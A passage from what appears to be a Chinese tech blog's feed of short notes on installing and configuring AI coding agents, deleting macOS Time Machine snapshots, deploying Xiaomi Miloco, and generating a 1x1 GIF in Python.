class="line">codebuddy --acp</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/14/CodeBuddy%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <link href="https://loli.fj.cn/2026/07/14/CodeBuddy%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <published>2026-07-14T19:40:44.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Tencent的CodeBuddy学习笔记</p>]]>
    </summary>
    <title>【笔记】CodeBuddy学习笔记</title>
    <updated>2026-07-16T13:01:47.313Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Xiaomi的MiMoCode学习笔记</p><span id="more"></span><h2 id="下载依赖"><a href="#下载依赖" class="headerlink" title="下载依赖"></a>下载依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g @mimo-ai/cli</span><br></pre></td></tr></table></figure><h2 id="启动交互式终端"><a href="#启动交互式终端" class="headerlink" title="启动交互式终端"></a>启动交互式终端</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimo</span><br></pre></td></tr></table></figure><h3 id="登录"><a href="#登录" class="headerlink" title="登录"></a>登录</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/login</span><br></pre></td></tr></table></figure><h2 id="启动ACP服务"><a href="#启动ACP服务" class="headerlink" title="启动ACP服务"></a>启动ACP服务</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimo acp</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="/302.html?target=https://mimo.mi.com/docs/zh-CN/tokenplan/integration/mimo-code">XiaomiMiMoCode官方文档</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/14/MiMoCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <link href="https://loli.fj.cn/2026/07/14/MiMoCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <published>2026-07-14T18:19:35.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Xiaomi的MiMoCode学习笔记</p>]]>
    </summary>
    <title>【笔记】MiMoCode学习笔记</title>
    <updated>2026-07-16T13:01:47.364Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>OpenCode学习笔记</p><span id="more"></span><h2 id="下载依赖"><a href="#下载依赖" class="headerlink" title="下载依赖"></a>下载依赖</h2><h3 id="npm"><a href="#npm" class="headerlink" title="npm"></a>npm</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g opencode-ai</span><br></pre></td></tr></table></figure><h3 id="MacOS"><a href="#MacOS" class="headerlink" title="MacOS"></a>MacOS</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install opencode</span><br></pre></td></tr></table></figure><h2 id="启动交互式终端"><a href="#启动交互式终端" class="headerlink" title="启动交互式终端"></a>启动交互式终端</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">opencode</span><br></pre></td></tr></table></figure><h3 id="连接模型供应商"><a href="#连接模型供应商" class="headerlink" title="连接模型供应商"></a>连接模型供应商</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/connect</span><br></pre></td></tr></table></figure><h2 id="启动ACP服务"><a href="#启动ACP服务" class="headerlink" title="启动ACP服务"></a>启动ACP服务</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">opencode acp</span><br></pre></td></tr></table></figure><h2 id="配置任意模型供应商"><a href="#配置任意模型供应商" class="headerlink" title="配置任意模型供应商"></a>配置任意模型供应商</h2><ul><li>配置任意符合OpenAI接口协议的模型供应商</li></ul><h3 id="配置单个模型供应商"><a href="#配置单个模型供应商" class="headerlink" title="配置单个模型供应商"></a>配置单个模型供应商</h3><blockquote><p><code>&lt;provider_name&gt;</code>：供应商唯一标识<br><code>&lt;provider_display_name&gt;</code>：供应商显示名<br><code>&lt;url&gt;</code>：API的URL<br><code>&lt;api_key&gt;</code>：API的密钥<br><code>&lt;model_alias&gt;</code>：模型别名<br><code>&lt;model_origin_id&gt;</code>：模型原始id，会在请求时作为参数传递</p></blockquote><figure class="highlight json"><figcaption><span>~/.config/opencode/opencode.jsonc</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;$schema&quot;</span><span class="punctuation">:</span> <span class="string">&quot;https://opencode.ai/config.json&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;provider&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;&lt;provider_name&gt;&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;npm&quot;</span><span class="punctuation">:</span> <span class="string">&quot;@ai-sdk/openai-compatible&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;provider_display_name&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;options&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;baseURL&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;url&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;apiKey&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;api_key&gt;&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;models&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;&lt;model_alias&gt;&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;model_origin_id&gt;&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;model&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;provider_name&gt;/&lt;model_alias&gt;&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="配置多个模型供应商"><a href="#配置多个模型供应商" class="headerlink" title="配置多个模型供应商"></a>配置多个模型供应商</h3><figure class="highlight json"><figcaption><span>~/.config/opencode/opencode.jsonc</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;$schema&quot;</span><span class="punctuation">:</span> <span class="string">&quot;https://opencode.ai/config.json&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;provider&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;&lt;provider_name_1&gt;&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;npm&quot;</span><span class="punctuation">:</span> <span class="string">&quot;@ai-sdk/openai-compatible&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;provider_display_name&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;options&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;baseURL&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;url&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;apiKey&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;api_key&gt;&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;models&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;&lt;model_alias&gt;&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;model_origin_id&gt;&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;&lt;provider_name_2&gt;&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;npm&quot;</span><span class="punctuation">:</span> <span class="string">&quot;@ai-sdk/openai-compatible&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;provider_display_name&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;options&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;baseURL&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;url&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;apiKey&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;api_key&gt;&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;models&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;&lt;model_alias&gt;&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;model_origin_id&gt;&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;model&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;provider_name_1&gt;/&lt;model_alias&gt;&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/11/OpenCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <link href="https://loli.fj.cn/2026/07/11/OpenCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <published>2026-07-11T15:33:37.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>OpenCode学习笔记</p>]]>
    </summary>
    <title>【笔记】OpenCode学习笔记</title>
    <updated>2026-07-16T13:01:47.374Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Jetbrains" scheme="https://loli.fj.cn/tags/Jetbrains/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>IDEA的AiAssistant通过ACP（Agent Client Protocol）服务配置任意Agent</p><span id="more"></span><h2 id="修改IDEA的ACP配置"><a href="#修改IDEA的ACP配置" class="headerlink" title="修改IDEA的ACP配置"></a>修改IDEA的ACP配置</h2><blockquote><p><code>&lt;agent_display_name&gt;</code>：Agent显示名<br><code>&lt;agent_exe&gt;</code>：Agent可执行文件<br><code>[&quot;acp&quot;]</code>：Agent可执行文件启动ACP服务的参数</p></blockquote><figure class="highlight plaintext"><figcaption><span>~/.jetbrains/acp.json</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;default_mcp_settings&quot;:&#123;&#125;,</span><br><span class="line">  &quot;agent_servers&quot;: &#123;</span><br><span class="line">    &quot;&lt;agent_display_name&gt;&quot;: &#123;</span><br><span class="line">      &quot;command&quot;: &quot;&lt;agent_exe&gt;&quot;,</span><br><span class="line">      &quot;args&quot;: [&quot;acp&quot;]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="切换Agent"><a href="#切换Agent" class="headerlink" title="切换Agent"></a>切换Agent</h2><p><img src="/../images/20260711232355/01.webp"></p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/11/IDEA%E7%9A%84AiAssistant%E4%BD%BF%E7%94%A8%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84Agent/</id>
    <link href="https://loli.fj.cn/2026/07/11/IDEA%E7%9A%84AiAssistant%E4%BD%BF%E7%94%A8%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84Agent/"/>
    <published>2026-07-11T15:23:55.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>IDEA的AiAssistant通过ACP（Agent Client Protocol）服务配置任意Agent</p>]]>
    </summary>
    <title>【笔记】IDEA的AiAssistant配置任意Agent</title>
    <updated>2026-07-16T13:01:47.338Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="MacOS" scheme="https://loli.fj.cn/tags/MacOS/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>MacOS上删除TimeMachine时间机器备份</p><span id="more"></span><h2 id="本机"><a href="#本机" class="headerlink" title="本机"></a>本机</h2><h3 id="查看所有时间的时间机器备份"><a href="#查看所有时间的时间机器备份" class="headerlink" title="查看所有时间的时间机器备份"></a>查看所有时间的时间机器备份</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tmutil listlocalsnapshots /</span><br></pre></td></tr></table></figure><h3 id="删除指定时间的时间机器备份"><a href="#删除指定时间的时间机器备份" class="headerlink" title="删除指定时间的时间机器备份"></a>删除指定时间的时间机器备份</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo tmutil deletelocalsnapshots 2006-01-02-000000</span><br></pre></td></tr></table></figure><h2 id="远程"><a href="#远程" class="headerlink" title="远程"></a>远程</h2><ul><li>在本机操作远程的时间机器备份</li></ul><h3 id="查看所有时间的时间机器备份-1"><a href="#查看所有时间的时间机器备份-1" class="headerlink" title="查看所有时间的时间机器备份"></a>查看所有时间的时间机器备份</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tmutil listbackups</span><br></pre></td></tr></table></figure><h3 id="删除指定时间的时间机器备份-1"><a href="#删除指定时间的时间机器备份-1" class="headerlink" title="删除指定时间的时间机器备份"></a>删除指定时间的时间机器备份</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo tmutil delete &quot;/Volumes/.timemachine/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX/2006-01-02-000000&quot;</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/11/MacOS%E4%B8%8A%E5%88%A0%E9%99%A4TimeMachine%E6%97%B6%E9%97%B4%E6%9C%BA%E5%99%A8%E5%A4%87%E4%BB%BD/</id>
    <link href="https://loli.fj.cn/2026/07/11/MacOS%E4%B8%8A%E5%88%A0%E9%99%A4TimeMachine%E6%97%B6%E9%97%B4%E6%9C%BA%E5%99%A8%E5%A4%87%E4%BB%BD/"/>
    <published>2026-07-11T09:12:37.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>MacOS上删除TimeMachine时间机器备份</p>]]>
    </summary>
    <title>【笔记】MacOS上删除TimeMachine时间机器备份</title>
    <updated>2026-07-16T13:01:47.359Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Github" scheme="https://loli.fj.cn/tags/Github/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>小米面向未来的全屋智能 AI 开源方案，以米家摄像头的画面与声音为全模态感知入口，以自研 MiMo 大模型为智能大脑，以 Agent 插件形式运行在 OpenClaw 之上，联动全屋设备带来主动智能体验。（<a href="/302.html?target=https://github.com/XiaoMi/xiaomi-miloco">Github</a>）</p><span id="more"></span><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ul><li>OpenClaw</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g openclaw</span><br></pre></td></tr></table></figure><ul><li><p><a href="https://home.mi.com/">米家App</a>中已经绑定了摄像头的<a href="https://account.xiaomi.com/">小米账号</a></p></li><li><p>余额充足的<a href="https://platform.xiaomimimo.com/console/plan-manage">Xiaomi MiMo API key</a></p></li></ul><h2 id="部署XiaomiMiloco"><a href="#部署XiaomiMiloco" class="headerlink" title="部署XiaomiMiloco"></a>部署XiaomiMiloco</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/XiaoMi/xiaomi-miloco.git</span><br><span class="line">cd xiaomi-miloco</span><br><span class="line">bash scripts/install.sh --dev</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">1/7 环境检查</span><br><span class="line">确认系统环境就绪</span><br><span class="line"></span><br><span class="line">✓ uv uv 0.11.28 (xxxxxxxxx 2006-01-02 aarch64-apple-darwin)</span><br><span class="line"></span><br><span class="line">2/7 安装核心组件</span><br><span class="line">安装 miloco 服务和命令行工具</span><br><span class="line"></span><br><span class="line">✓ miloco 服务端</span><br><span class="line">✓ miloco-cli</span><br><span class="line">✓ supervisor</span><br><span class="line">▸ 配置 Python 解释器...</span><br><span class="line">✓ Python 3.12 → ~/.local/share/uv/tools/miloco/bin/python</span><br><span class="line"></span><br><span class="line">3/7 初始化服务</span><br><span class="line">初始化 miloco 服务环境</span><br><span class="line"></span><br><span class="line">✓ 引擎预热完成</span><br><span class="line">✓ miloco 服务初始化完成</span><br><span class="line"></span><br><span class="line">4/7 绑定米家账号</span><br><span class="line">登录米家账号以管理智能设备</span><br><span class="line"></span><br><span class="line">? 是否登录米家账号？ 立即登录</span><br><span class="line">▸ 正在绑定米家账号...</span><br><span class="line"></span><br><span class="line">请在浏览器中打开以下链接完成小米账号授权：</span><br><span class="line"></span><br><span class="line">授权完成后，从页面复制授权码并粘贴到此处: </span><br><span class="line"></span><br><span class="line">已启用家庭：</span><br><span class="line">✓ 米家账号绑定成功</span><br><span class="line"></span><br><span class="line">5/7 配置 Omni 模型</span><br><span class="line">设置多模态模型的访问密钥</span><br><span class="line"></span><br><span class="line">? 是否配置多模态模型？ 立即配置</span><br><span class="line">ℹ 获取 API Key: https://platform.xiaomimimo.com</span><br><span class="line">? 选择模型服务商 小米 MiMo（推荐）</span><br><span class="line">? 输入 API Key: ***************************************************</span><br><span class="line">✓ 模型配置已保存</span><br><span class="line"></span><br><span class="line">6/7 准备感知模型</span><br><span class="line">准备感知引擎所需的本地模型</span><br><span class="line"></span><br><span class="line">▸ 正在解压感知模型...</span><br><span class="line">✓ 5 个模型已就绪</span><br><span class="line"></span><br><span class="line">7/7 安装 OpenClaw 插件</span><br><span class="line">让 AI 助手接入你的智能家居</span><br><span class="line"></span><br><span class="line">✓ 插件安装完成</span><br><span class="line">– 内置工具已在 tools.alsoAllow 中，跳过</span><br><span class="line">✓ 会话访问权限已开启</span><br><span class="line"></span><br><span class="line">══════════════════════════════════════</span><br><span class="line">✓ 全部完成</span><br><span class="line"></span><br><span class="line">接下来：</span><br><span class="line">  openclaw gateway restart    重启网关</span><br><span class="line">  miloco-cli --help           查看帮助</span><br><span class="line"></span><br><span class="line">配置目录  ~/.openclaw/miloco</span><br></pre></td></tr></table></figure><h2 id="重启OpenClaw网关"><a href="#重启OpenClaw网关" class="headerlink" title="重启OpenClaw网关"></a>重启OpenClaw网关</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openclaw gateway restart</span><br></pre></td></tr></table></figure><h2 id="启动XiaomiMiloco服务"><a href="#启动XiaomiMiloco服务" class="headerlink" title="启动XiaomiMiloco服务"></a>启动XiaomiMiloco服务</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">miloco-cli service start</span><br></pre></td></tr></table></figure><h2 id="访问XiaomiMiloco服务"><a href="#访问XiaomiMiloco服务" class="headerlink" title="访问XiaomiMiloco服务"></a>访问XiaomiMiloco服务</h2><ul><li>访问<a href="http://127.0.0.1:1810/">http://127.0.0.1:1810</a></li></ul><p><img src="/../images/20260710130517/01.webp"></p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/10/MacOS%E4%B8%8A%E9%83%A8%E7%BD%B2XiaomiMiloco/</id>
    <link href="https://loli.fj.cn/2026/07/10/MacOS%E4%B8%8A%E9%83%A8%E7%BD%B2XiaomiMiloco/"/>
    <published>2026-07-10T05:05:17.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>小米面向未来的全屋智能 AI 开源方案，以米家摄像头的画面与声音为全模态感知入口，以自研 MiMo 大模型为智能大脑，以 Agent 插件形式运行在 OpenClaw 之上，联动全屋设备带来主动智能体验。（<a href="/302.html?target=https://github.com/XiaoMi/xiaomi-miloco">Github</a>）</p>]]>
    </summary>
    <title>【笔记】MacOS上部署XiaomiMiloco</title>
    <updated>2026-07-16T13:01:47.360Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Python" scheme="https://loli.fj.cn/tags/Python/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Python3创建1x1像素的图片</p><span id="more"></span><h2 id="GIF"><a href="#GIF" class="headerlink" title="GIF"></a>GIF</h2><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pack_lzw_bits</span>(<span class="params">codes, code_size</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Pack a list of integer codes into bytes, LSB-first (GIF LZW style).&quot;&quot;&quot;</span></span><br><span class="line">    bits = []</span><br><span class="line">    <span class="keyword">for</span> code <span class="keyword">in</span> codes:</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(code_size):</span><br><span class="line">            bits.append((code &gt;&gt; i) &amp; <span class="number">1</span>)</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(bits), <span class="number">8</span>):</span><br><span class="line">        byte = <span class="number">0</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">            <span class="keyword">if</span> i + j &lt; <span class="built_in">len</span>(bits):</span><br><span class="line">                byte |= bits[i + j] &lt;&lt; j</span><br><span class="line">        out.append(byte)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># --- Header ---</span></span><br><span class="line">    header = <span 